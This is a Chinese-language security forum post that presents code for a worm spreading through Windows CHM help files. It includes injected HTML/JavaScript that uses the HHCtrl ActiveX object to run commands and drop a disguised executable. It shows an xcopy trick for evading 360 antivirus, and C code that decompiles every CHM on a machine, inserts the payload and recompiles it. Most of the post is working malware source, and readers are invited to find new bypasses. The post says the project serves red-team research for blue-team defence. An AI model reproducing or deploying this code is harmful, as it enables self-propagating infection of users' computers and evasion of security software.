-
-
[原创]利用chm文件实现病毒程序的蠕虫式横向传播
-
2021-5-30 23:31 9157
-
1.引言
这个项目属于我毕设中的一个模块,在19年时看到红队利用chm作为钓鱼文件进行入侵,在对他的手法进行复现后,发现并不能绕过360的主动防御,于是我对其中的主要js代码进行改进使其可以绕过主动防御,并在此基础上,对chm文件的文件结构与编译过程进行了研究,于是便有了此项目,使用此项目,可以在对方打开被感染的chm文件时,感染对方电脑中的所有chm文件,被感染的chm文件复制到其他电脑打开时,又会进行新一轮的攻击。最近又进行了一次测试,发现原本的攻击手法已经不能绕过360主动防御了,大家可以在此基础上继续寻找绕过的方法。该项目旨在研究红队的攻击手法,以便蓝队更好的进行防御。
2.需求分析与初步设计
2.1 执行js代码,调用系统命令
可以通过在主页html中添加js的方式实现
2.2 释放恶意代码文件
通过在编译时,对chm添加恶意程序,调用系统命令hh -decompile将程序释放到指定路径来实现
2.3 感染其他chm文件
通过释放微软提供的chm编译工具hhc.exe到磁盘中,根据反编译文件的内容,创建chm的编译环境配置文件,并在主页中插入js
3.具体实现
3.1 在html中执行js调用系统命令
1 2 3 4 5 6 7 8 9 | <div id = "t0" > < / div> < OBJECT id = demo classid = "clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" > <PARAM name = "Command" value = "ShortCut" > <PARAM name = "Button" value = "Bitmap::shortcut" > <PARAM name = "Item1" value = ',calc.exe' > < / OBJECT > demo.Click(); < / SCRIPT> |
通过以上方式,在Item1的value中添加需要执行的命令即可
3.2 释放恶意代码文件
在3.1的基础上编写以下的js代码,即可将恶意程序释放并调用,直接上代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | <div id = "t0" > < / div> < OBJECT id = copy classid = "clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" > <PARAM name = "Command" value = "ShortCut" > <PARAM name = "Button" value = "Bitmap::shortcut" > <PARAM name = "Item1" value = ',xcopy,C:\Windows\SysWOW64\hh.exe / N C:\Users\Public\Dow < / OBJECT > < OBJECT id = call classid = "clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" > <PARAM name = "Command" value = "ShortCut" > <PARAM name = "Button" value = "Bitmap::shortcut" > <PARAM name = "Item1" value = ',path' > < / OBJECT > <SCRIPT> var str = location.href; var commodStr0 = '< OBJECT id = decompile classid = "clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width = 1 '<PARAM name="Command" value="ShortCut0">' + '<PARAM name="Button" value="Bitmap::shortcut0">' + '<PARAM name = "Item1" value = ",C:\\Users\\Public\\Downloads\\Temp\\hh.exe, - decompile '</OBJECT>' ; var sleep = function(time) { var startTime = new Date().getTime() + parseInt(time, 10 ); while (new Date().getTime() < startTime) {} }; copy.Click(); sleep( 100 ); document.getElementById( 't0' ).innerHTML = commodStr0; decompile.Click(); sleep( 100 ); call.Click(); < / SCRIPT> |
其中调用xcopy拷贝hh.exe到Public目录,是因为在19年时,360对system目录路径下的hh.exe的调用做了主动防御,但并未对该目录下的xcopy.exe做主动防御,因此调用xcopy将hh.exe拷贝到其他目录下,即可绕过,但是现在经测试已经无效,不知道是对xcopy做了主动防御还是对整个system路径都做了主动防御,感兴趣的可以试一下。
3.3 感染其他chm文件
话不多说,直接上代码,首先需要将微软提供的chm编译工具释放到磁盘中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | int InitEnv() { char szHhcPath[MAX_PATH]; char szHhaPath[MAX_PATH]; GetTempPath(MAX_PATH, szTempPath); strcpy(szHhcPath, szTempPath); strcat(szHhcPath, "hhc.exe" ); strcpy(szHhaPath, szTempPath); strcat(szHhaPath, "hha.dll" ); if (ReleaseRes(IDR_BIN2, szHhcPath) && ReleaseRes(IDR_BIN3, szHhaPath)) { return TRUE; } return FALSE; } |
在编译磁盘遇到chm文件时,需要先对其进行反编译,对反编译出的文件中的hhk文件添加需要捆绑的文件信息,在hhc文件中寻找主页文件路径,并对主页文件添加js,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 | void InsertCode(char * szChmPath, char * szOutDir) { / / 遍历目录 char szFindPath[MAX_PATH] = { 0 }; char szHhcPath[MAX_PATH] = { 0 }; char szHhkPath[MAX_PATH] = { 0 }; / / 临时文件路径 char szTmpPath[MAX_PATH] = { 0 }; / / 一行文本数据 char szLine[MAX_PATH] = { 0 }; / / 首页文件的绝对路径 char szFirstPath[MAX_PATH] = { 0 }; / / 临时文件 FILE * pTmp; / / 是否已插入数据 int bInsert = FALSE; / / ReleaseRes() strcat(szFindPath, (char * )szOutDir); strcat(szFindPath, "\\*" ); WIN32_FIND_DATA wfd = { 0 }; HANDLE hFile = FindFirstFileA(szFindPath, &wfd); if (hFile ! = INVALID_HANDLE_VALUE) { do { if (wfd.dwFileAttributes = = FILE_ATTRIBUTE_DIRECTORY) { continue ; } char * suffix = strrchr(wfd.cFileName, '.' ); / / 在编译内容文件HHK中新增捆绑文件 if (!strcmp(suffix + 1 , "hhk" ) || !strcmp(suffix + 1 , "HHK" )) { bInsert = FALSE; sprintf(szHhkPath, "%s\\%s" , szOutDir, wfd.cFileName); sprintf(szTmpPath, "%s\\%s" , szOutDir, "tmp.hhk" ); FILE * pHhc = fopen(szHhkPath, "r+" ); FILE * pTmp = fopen(szTmpPath, "w" ); while (fgets(szLine, MAX_PATH, pHhc)) { / / 在第一次出现 "<LI> <OBJECT type=" 的上一行插入数据 if (strstr(szLine, "<LI> <OBJECT type=" ) && !bInsert) { fputs(szInsertHhk, pTmp); bInsert = TRUE; } fputs(szLine, pTmp); } fclose(pTmp); fclose(pHhc); / / 用tmp.hhk替换原本的hhk CopyFile(szTmpPath, szHhkPath, FALSE); DeleteFile(szTmpPath); } / / 在目录文件HHC中获取首页文件并插入代码 if (!strcmp(suffix + 1 , "hhc" ) || !strcmp(suffix + 1 , "HHC" )) { sprintf(szHhcPath, "%s\\%s" , szOutDir, wfd.cFileName); FILE * pHhc = fopen(szHhcPath, "r" ); strcpy(szFirstPath, szOutDir); strcat(szFirstPath, "\\" ); while (fgets(szLine, MAX_PATH, pHhc)) { / / 第一次出现 "<param name=" Local " value=" 处为首页文件 if (strstr(szLine, "<param name=\"Local\" value=" )) { int dwLineLen = strlen(szLine); int dwIndex = strlen( "\t\t<param name=\"Local\" value=\"" ); / / 去除前缀和后面的 " " >\n " strncat(szFirstPath, szLine + dwIndex, dwLineLen - dwIndex - 3 ); StrReplace(szFirstPath, "/" , "\\" ); break ; } } fclose(pHhc); bInsert = FALSE; memset(szTmpPath, 0 , sizeof(szTmpPath)); strcpy(szTmpPath, szOutDir); strcat(szTmpPath, "\\tmp.html" ); pTmp = fopen(szTmpPath, "w" ); FILE * pFirstFile = fopen(szFirstPath, "r" ); while (fgets(szLine, MAX_PATH, pFirstFile)) { / / 在第一次出现 "<html>" 的下一行插入数据 fputs(szLine, pTmp); if (strstr(szLine, "<html>" ) && !bInsert) { / / 添加 TencentMusic.exe fputs(szFirstPage, pTmp); bInsert = TRUE; } } fclose(pFirstFile); fclose(pTmp); / / 用tmp.hhk替换原本的hhk CopyFile(szTmpPath, szFirstPath, FALSE); DeleteFile(szTmpPath); } } while (FindNextFileA(hFile, &wfd)); } FindClose(hFile); } |
其中对hhk插入的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | char szInsertHhk[ 1024 ] = "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"TencentMusic\">\n" \ "\t\t<param name=\"Local\" value=\"TencentMusic.exe\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"qqmusic\">\n" \ "\t\t<param name=\"Local\" value=\"qqmusic.dll\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"msvcp100\">\n" \ "\t\t<param name=\"Local\" value=\"msvcp100.dll\">\n" \ "\t\t</OBJECT>\n" \ "\t<LI> <OBJECT type=\"text/sitemap\">\n" \ "\t\t<param name=\"Name\" value=\"msvcr100\">\n" \ "\t\t<param name=\"Local\" value=\"msvcr100.dll\">\n" \ "\t\t</OBJECT>\n" ; |
对主页文件添加的代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | char szFirstPage[ 2048 ] = "<div id=\"t0\">\n" \ "</div>\n" \ "<OBJECT id=copy classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n" \ "<PARAM name=\"Command\"value=\"ShortCut\">\n" \ "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n" \ "<PARAM name=\"Item1\" value = ',xcopy,C:\\Windows\\SysWOW64\\hh.exe / N C:\\Users "</OBJECT>\n" \ "<OBJECT id=call classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\">\n" \ "<PARAM name=\"Command\"value=\"ShortCut\">\n" \ "<PARAM name=\"Button\"value=\"Bitmap::shortcut\">\n" \ "<PARAM name=\"Item1\" value = ',C:\\Users\\Public\\Downloads\\Temp\\TencentMus "</OBJECT>\n" \ "<SCRIPT>\n" \ "var str=location.href;\n" \ "var commodStr0 =\n" \ "'<OBJECT id=decompile classid=\"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11\" "'<PARAM name=\"Command\" value=\"ShortCut0\">' +\n" \ "'<PARAM name=\"Button\" value=\"Bitmap::shortcut0\">' +\n" \ "'<PARAM name=\"Item1\" value=\" ,C:\\\\Users\\\\Public\\\\Downloads\\\\Temp\\\ "'</OBJECT>';\n" \ "var sleep = function(time) {\n" \ " var startTime = new Date().getTime() + parseInt(time, 10);\n" \ " while (new Date().getTime() < startTime) {}\n" \ "};\n" \ "copy.Click();\n" \ "sleep(100);\n" \ "document.getElementById('t0').innerHTML = commodStr0;\n" \ "decompile.Click();\n" \ "sleep(100);\n" \ "call.Click();\n" \ "</SCRIPT>\n" ; |
对hhc程序进行分析后可以发现,chm的编译依赖于一个hhp的配置文件,文件的主要内容如下:
创建hpp文件时,需要遍历反编译目录寻找hhc文件和hhk文件,将两个文件的路径分别赋值给Index file和Contents file,Combiled file和Title字段区赋值为chm文件名称,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | void ChmCompile(char * szChmPath, char * szOutDir) { char szFindPath[MAX_PATH] = { 0 }; char szHhpPath[MAX_PATH] = { 0 }; char szChmName[MAX_PATH] = { 0 }; char szHhkName[MAX_PATH] = { 0 }; char szHhcName[MAX_PATH] = { 0 }; char szOptions[MAX_PATH] = { 0 }; char szCompiledFile[MAX_PATH] = { 0 }; char szContentsFile[MAX_PATH] = { 0 }; char szIndexFile[MAX_PATH] = { 0 }; char szTitle[MAX_PATH] = { 0 }; char szCompileCmd[MAX_PATH] = { 0 }; char szNewChmPath[MAX_PATH] = { 0 }; strcat(szFindPath, szOutDir); strcat(szFindPath, "\\*" ); WIN32_FIND_DATA wfd = { 0 }; HANDLE hFile = FindFirstFileA(szFindPath, &wfd); if (hFile ! = INVALID_HANDLE_VALUE) { do { if (wfd.dwFileAttributes = = FILE_ATTRIBUTE_DIRECTORY) { continue ; } char * suffix = strrchr(wfd.cFileName, '.' ); if (!strcmp(suffix + 1 , "hhk" ) || !strcmp(suffix + 1 , "HHK" )) { strcpy(szHhkName, wfd.cFileName); } if (!strcmp(suffix + 1 , "hhc" ) || !strcmp(suffix + 1 , "HHC" )) { strcpy(szHhcName, wfd.cFileName); } } while (FindNextFileA(hFile, &wfd)); } FindClose(hFile); strcpy(szChmName, strrchr(szOutDir, '\\' ) + 1 ); strcpy(szHhpPath, szOutDir); strcat(szHhpPath, "\\" ); strcat(szHhpPath, szChmName); strcat(szHhpPath, ".hhp" ); / / 创建hhp文件 FILE * pHhpFile = fopen(szHhpPath, "wb+" ); strcpy(szOptions, "[OPTIONS]\n" ); fwrite(szOptions, 1 , strlen(szOptions), pHhpFile); strcpy(szCompiledFile, "Compiled file=" ); strcat(szCompiledFile, szChmName); strcat(szCompiledFile, ".chm\n" ); fwrite(szCompiledFile, 1 , strlen(szCompiledFile), pHhpFile); strcpy(szContentsFile, "Contents file=" ); strcat(szContentsFile, szHhcName); strcat(szContentsFile, "\n" ); fwrite(szContentsFile, 1 , strlen(szContentsFile), pHhpFile); strcpy(szIndexFile, "Index file=" ); strcat(szIndexFile, szHhkName); strcat(szIndexFile, "\n" ); fwrite(szIndexFile, 1 , strlen(szIndexFile), pHhpFile); strcpy(szTitle, "Title=" ); strcat(szTitle, szChmName); strcat(szTitle, "\n" ); fwrite(szTitle, 1 , strlen(szTitle), pHhpFile); fflush(pHhpFile); fclose(pHhpFile); strcpy(szCompileCmd, szTempPath); strcat(szCompileCmd, "hhc.exe " ); strcat(szCompileCmd, szHhpPath); / / 编译生成修改后的chm system(szCompileCmd); / / 用修改后的chm替换原本的chm / / DeleteFile(szChmPath); strcpy(szNewChmPath, szOutDir); strcat(szNewChmPath, "\\" ); strcat(szNewChmPath, szChmName); strcat(szNewChmPath, ".chm" ); CopyFile(szNewChmPath, szChmPath, FALSE); DeleteDir(szOutDir); } |
调用释放的hhc.exe进行编译生成新的chm文件,这个新的chm即是被感染的chm。
4.结语
以上代码只是一个demo,在真实的场景中会遇到hhc和hhk的一些编码问题,想要进一步研究的可以自己解决以下,这里就不写了。最后附上c文件.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课